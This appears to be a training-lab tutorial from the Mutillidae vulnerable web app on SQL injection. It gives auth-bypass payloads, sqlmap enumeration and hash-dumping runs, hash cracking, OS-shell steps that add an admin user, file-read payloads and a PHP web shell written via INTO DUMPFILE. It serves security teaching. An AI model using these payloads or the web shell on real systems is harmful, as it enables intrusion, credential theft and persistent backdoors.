SQL Injection (SQLi)


Overview

SQL injection may occcur when user or attacker controlled input is later incorporated into an SQL query which is built and executed by the web application. Web applications which do not implement code-data segmentation by using routines (i.e. - stored procedures, user-defined functions) may be vulnerable. Some sites attempt to parameterize queries which prevents SQL injection but fails to meet other objectives such as least-privilege.

Discovery Methodology

Inject all available parameters of the web page with charaters reserved in SQL, PL/SQL, T-SQL, and MySQL. Examine responses for difference from responses with normal input. Additionally attempt to inject valid SQL statements including statements which cause errors, induce pauses, and cause differences when similar statements evaluate to true or false.

Hint: Use Burp-Suite and SQLMap to fuzz sites quickly

Exploitation

Determine the prefix and suffix needed to make the injected code "fit" syntatically then add a payload between. Inject the exploit.

Example: Some pages on the site are vulnerable to
' or 1=1 -- (Note: There is a space on the end of this expression)
Note that some characters which are reserved in databases are also reserved in web servers. If submitting injections directly via an interception proxy like Burp-Suite, URL encode the injection to avoid a syntax error on the web server.

URL Encoded version
%27%20%6f%72%20%31%3d%31%20%2d%2d%20
Running SQLMAP Help

Note: On backtrack, SQLMap is found in /pentest/database/sqlmap/

./sqlmap.py --help Help
./sqlmap.py -hh Double the help

Running SQLMAP "Manually"

./sqlmap.py --url="http://192.168.56.102/mutillidae/index.php?page=login.php" --data="username=asdf&password=asdf&login-php-submit-button=Login" --banner

Capturing Request To Pass To SQLMAP

Note: Save request to a file such as ~/engagements/sqlmap/login.php.request. The -r switch takes the file path.

URL: http://192.168.56.102/mutillidae/index.php?page=login.php

Request:
POST /mutillidae/index.php?page=login.php HTTP/1.1 Host: 192.168.56.102 User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:17.0) Gecko/20100101 Firefox/17.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.56.102/mutillidae/index.php?page=login.php Cookie: showhints=0; PHPSESSID=fik978dbhcujcgdjfc2lg249r4 Content-Type: application/x-www-form-urlencoded Content-Length: 57 username=asdf&password=asdf&login-php-submit-button=Login
Running SQLMAP with "auto-parse"

./sqlmap.py -r ~/engagements/sqlmap/login.php.request <options>

Running SQLMAP with various features

./sqlmap.py -r ~/engagements/sqlmap/login.php.request <options>
--banner web server operating system: Windows web application technology: PHP 5.4.4, Apache 2.4.2 back-end DBMS: MySQL 5.0 banner: '5.5.25a' --fingerprint web server operating system: Windows web application technology: PHP 5.4.4, Apache 2.4.2 back-end DBMS: active fingerprint: MySQL >= 5.5.0 --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --hostname Retrieve DBMS server hostname --is-dba Detect if the DBMS current user is DBA current user: 'root@localhost' current database: 'nowasp' current user is DBA: True hostname: 'mutillid-7se1xr' --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes database management system users [*] ''@'localhost' [*] 'pma'@'localhost' [*] 'root'@'linux' [*] 'root'@'localhost' --dbs Enumerate DBMS databases available databases[10]: [*] cdcol [*] information_schema [*] mysql [*] nowasp [*] owasp10 [*] owasp13 [*] performance_schema [*] phpmyadmin [*] test [*] webauth

Enumerate DBMS database tables, columns, structure (schema)
--tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --count Retrieve number of entries for table(s) --exclude-sysdbs Exclude DBMS system databases when enumerating tables -D DB DBMS database to enumerate -T TBL DBMS database table to enumerate -C COL DBMS database table column to enumerate -U USER DBMS user to enumerate

Extracting data

--dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table to enumerate -C COL DBMS database table column to enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --start=LIMITSTART First query output entry to retrieve --stop=LIMITSTOP Last query output entry to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell

Listing columns from tables

./sqlmap.py -r ~/engagements/sqlmap/login.php.request -D mysql -T user --columns ./sqlmap.py -r ~/engagements/sqlmap/login.php.request -D mysql -T user --common-columns ./sqlmap.py -r ~/engagements/sqlmap/login.php.request -D mysql --sql-query="select column_name from information_schema.columns where table_name = 'user'" select column_name from information_schema.columns where table_name = 'user' [42]: [*] Alter_priv [*] Alter_routine_priv [*] authentication_string [*] Create_priv [*] Create_routine_priv [*] Create_tablespace_priv [*] Create_tmp_table_priv [*] Create_user_priv [*] Create_view_priv [*] Delete_priv [*] Drop_priv [*] Event_priv [*] Execute_priv [*] File_priv [*] Grant_priv [*] Host [*] Index_priv [*] Insert_priv [*] Lock_tables_priv [*] max_connections [*] max_questions [*] max_updates [*] max_user_connections [*] Password [*] plugin [*] Process_priv [*] References_priv [*] Reload_priv [*] Repl_client_priv [*] Repl_slave_priv [*] Select_priv [*] Show_db_priv [*] Show_view_priv [*] Shutdown_priv [*] ssl_cipher [*] ssl_type [*] Super_priv [*] Trigger_priv [*] Update_priv [*] User [*] x509_issuer [*] x509_subject

Advanced: Modifying injections

SELECT * FROM accounts WHERE username='' AND password=''' ./sqlmap.py -r ~/engagements/sqlmap/login.php.request --prefix="SELECT * FROM accounts WHERE username='" --suffix="'-- " --banner --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string

Advanced: Dealing with inconsistent results

select User, Password from mysql.user versus ./sqlmap.py -r ~/engagements/sqlmap/login.php.request -D mysql --sql-query="select User, Password from mysql.user order by User desc" select User, Password from mysql.user order by User desc select User, Password, Host, authentication_string from mysql.user order by User desc [9]: [*] root, , localhost, [*] root, , linux, [*] pma, , localhost, [*] Simba, *F43B942A34347297C3B0455DAB190AFB9BBF13B5, localhost, [*] Rocky, *2BA8DF85753BE61F6C72A8784B11E68A41878032, localhost, [*] Patches, *2027D9391E714343187E07ACB41AE8925F30737E, localhost, [*] Happy, *160E7D8EE3A97BED0F0AD1563BFB619178D15D7B, localhost, [*] , , localhost, [*] , , linux,

Cracking MySQL Password Hashes

John the Ripper Command Line /pentest/passwords/john/john --format=mysql-sha1 /tmp/mysql.hashes Password Hashes in MySQL Format Simba:*F43B942A34347297C3B0455DAB190AFB9BBF13B5 Rocky:*2BA8DF85753BE61F6C72A8784B11E68A41878032 Patches:*2027D9391E714343187E07ACB41AE8925F30737E Happy:*160E7D8EE3A97BED0F0AD1563BFB619178D15D7B

Understanding sqlmap O/S Shell

View transaction: tcpdump -i eth1 -vvv -X 1st Stage Uploader 2nd Stage Command Shell Page sc query state= all sc query tlntsvr sc config tlntsvr start= demand sc start tlntsvr net user root toor /add net localgroup TelnetClients /add net localgroup Administrators root /add net localgroup TelnetClients root /add netsh firewall add portopening protocol=TCP port=23 name=telnet mode=enable scope=custom addresses=192.168.56.101

Interacting Directly with sqlmap O/S Shell Backdoor

http://192.168.56.102/<temp file name>?cmd=ping%20192.168.56.101

Direct connection to the database

Installing Py-MySQL Dependency git clone https://github.com/petehunt/PyMySQL/ cd PyMySQL python setup.py install cd .. rm -rf PyMySQL ./sqlmap.py -d mysql://root:""@192.168.56.102:5123/OWASP10
Using advanced techniques: Open files on target operating system

Page: user-info.php
Field: username
Values:
' union select null, LOAD_FILE('../README') AS username, null, null-- ' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts') AS username, null, null-- ' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\inf\\cpu.inf') AS username, null, null-- ' union select null, LOAD_FILE('mysql_error.log'), null, null-- ' union select null, LOAD_FILE('..\\..\\..\\htdocs\\mutillidae\\index.php'), null, null--
Using advanced techniques: Writing files to operating system

Page: user-info.php
Field: username
Value:
' union select null,null,null,null,'<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE '..\\..\\htdocs\\mutillidae\\backdoor.php' -- 
This is the source code for the web shell. Also try Laudinum.
<form action="" method="post" enctype="application/x-www-form-urlencoded"> <table style="margin-left:auto; margin-right:auto;"> <tr> <td colspan="2">Please enter system command</td> </tr> <tr><td></td></tr> <tr> <td class="label">Command</td> <td><input type="text" name="pCommand" size="50"></td> </tr> <tr><td></td></tr> <tr> <td colspan="2" style="text-align:center;"> <input type="submit" value="Execute Command" /> </td> </tr> </table> </form> <?php echo "<pre>"; echo shell_exec($_REQUEST["pCommand"]); echo "</pre>"; ?>

Videos


Warning: Could not reach YouTube via network connection. Failed to embed video.

Bypass Authentication using SQL Injection: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

Automate SQL Injection using sqlmap: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

Basics of SQL Injection Timing Attacks: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

Introduction to Union-Based SQL Injection: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

Basics of Inserting Data with SQL Injection: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

Inject Web Shell Backdoor via SQL Injection: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

Basics of using SQL Injection to Read Files: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

Generate Cross Site Scripts with SQL Injection: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

SQL Injection via AJAX request with JSON response: Visit YouTube Site

Warning: Could not reach YouTube via network connection. Failed to embed video.

Basics of using sqlmap - ISSA KY Workshop - February 2013: Visit YouTube Site